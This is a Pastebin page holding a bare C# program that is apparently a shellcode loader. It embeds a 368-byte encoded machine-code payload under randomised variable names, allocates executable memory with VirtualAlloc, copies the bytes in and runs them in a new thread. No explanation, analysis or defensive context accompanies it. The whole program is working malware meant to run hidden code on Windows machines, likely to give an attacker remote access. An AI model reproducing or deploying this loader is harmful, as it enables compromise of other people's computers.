Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Runtime.InteropServices;
- namespace Program.cs
- {
- class Program
- {
- static void Main()
- {
- byte[] SXyniFAbtwCEv = new byte[368] {
- 0xbb,0x3d,0x84,0xb2,0xcc,0xdd,0xc7,0xd9,0x74,0x24,0xf4,0x5a,0x29,0xc9,0xb1,
- 0x56,0x83,0xea,0xfc,0x31,0x5a,0x0f,0x03,0x5a,0x32,0x66,0x47,0x30,0xa4,0xe4,
- 0xa8,0xc9,0x34,0x89,0x21,0x2c,0x05,0x89,0x56,0x24,0x35,0x39,0x1c,0x68,0xb9,
- 0xb2,0x70,0x99,0x4a,0xb6,0x5c,0xae,0xfb,0x7d,0xbb,0x81,0xfc,0x2e,0xff,0x80,
- 0x7e,0x2d,0x2c,0x63,0xbf,0xfe,0x21,0x62,0xf8,0xe3,0xc8,0x36,0x51,0x6f,0x7e,
- 0xa7,0xd6,0x25,0x43,0x4c,0xa4,0xa8,0xc3,0xb1,0x7c,0xca,0xe2,0x67,0xf7,0x95,
- 0x24,0x89,0xd4,0xad,0x6c,0x91,0x39,0x8b,0x27,0x2a,0x89,0x67,0xb6,0xfa,0xc0,
- 0x88,0x15,0xc3,0xed,0x7a,0x67,0x03,0xc9,0x64,0x12,0x7d,0x2a,0x18,0x25,0xba,
- 0x51,0xc6,0xa0,0x59,0xf1,0x8d,0x13,0x86,0x00,0x41,0xc5,0x4d,0x0e,0x2e,0x81,
- 0x0a,0x12,0xb1,0x46,0x21,0x2e,0x3a,0x69,0xe6,0xa7,0x78,0x4e,0x22,0xec,0xdb,
- 0xef,0x73,0x48,0x8d,0x10,0x63,0x33,0x72,0xb5,0xef,0xd9,0x67,0xc4,0xad,0xb5,
- 0x44,0xe5,0x4d,0x45,0xc3,0x7e,0x3d,0x77,0x4c,0xd5,0xa9,0x3b,0x05,0xf3,0x2e,
- 0x4a,0x01,0x04,0xe0,0xf4,0x42,0xfa,0x01,0x04,0x4a,0x39,0x55,0x54,0xe4,0xe8,
- 0xd6,0x3f,0xf4,0x15,0x03,0xd5,0xfe,0x81,0x6c,0x81,0xfe,0x4c,0x05,0xd3,0x00,
- 0x7e,0x89,0x5a,0xe6,0xd0,0x61,0x0c,0xb7,0x90,0xd1,0xec,0x67,0x79,0x38,0xe3,
- 0x58,0x99,0x43,0x2e,0xf1,0x30,0xac,0x86,0xa9,0xac,0x55,0x83,0x22,0x4c,0x99,
- 0x1e,0x4f,0x4e,0x11,0xaa,0xaf,0x01,0xd2,0xdf,0xa3,0x76,0x85,0x1f,0x3c,0x87,
- 0x20,0x1f,0x56,0x83,0xe2,0x48,0xce,0x89,0xd3,0xbe,0x51,0x71,0x36,0xbd,0x96,
- 0x8d,0xc7,0xf7,0xed,0xb8,0x5d,0xb7,0x99,0xc4,0xb1,0x37,0x5a,0x93,0xdb,0x37,
- 0x32,0x43,0xb8,0x64,0x27,0x8c,0x15,0x19,0xf4,0x19,0x96,0x4b,0xa8,0x8a,0xfe,
- 0x71,0x97,0xfd,0xa0,0x8a,0xf2,0x7d,0xa6,0x74,0x80,0xa9,0x0f,0x1c,0x7a,0xea,
- 0xaf,0xdc,0x10,0xea,0xff,0xb4,0xef,0xc5,0xf0,0x74,0x0f,0xcc,0x58,0x1c,0x9a,
- 0x81,0x2b,0xbd,0x9b,0x8b,0xea,0x63,0x9b,0x38,0x37,0x94,0xe6,0x31,0xc8,0x55,
- 0x17,0x58,0xad,0x56,0x17,0x64,0xd3,0x6b,0xc1,0x5d,0xa1,0xaa,0xd1,0xd9,0xba,
- 0x99,0x74,0x4b,0x51,0xe1,0x2b,0x8b,0x70 };
- UInt32 KPilHFknk = VirtualAlloc(0, (UInt32)SXyniFAbtwCEv.Length,
- MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- Marshal.Copy(SXyniFAbtwCEv, 0, (IntPtr)(KPilHFknk), SXyniFAbtwCEv.Length);
- IntPtr hThread = IntPtr.Zero;
- UInt32 EWaNzpPhXXhfq = 0;
- IntPtr pinfo = IntPtr.Zero;
- hThread = CreateThread(0, 0, KPilHFknk, pinfo, 0, ref EWaNzpPhXXhfq);
- WaitForSingleObject(hThread, 0xFFFFFFFF);
- return;
- }
- private static UInt32 MEM_COMMIT = 0x1000;
- private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
- [DllImport("kernel32")]
- private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
- UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
- [DllImport("kernel32")]
- private static extern IntPtr CreateThread(
- UInt32 lpThreadAttributes,
- UInt32 dwStackSize,
- UInt32 lpStartAddress,
- IntPtr param,
- UInt32 dwCreationFlags,
- ref UInt32 lpThreadId
- );
- [DllImport("kernel32")]
- private static extern UInt32 WaitForSingleObject(
- IntPtr hHandle,
- UInt32 dwMilliseconds
- );
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement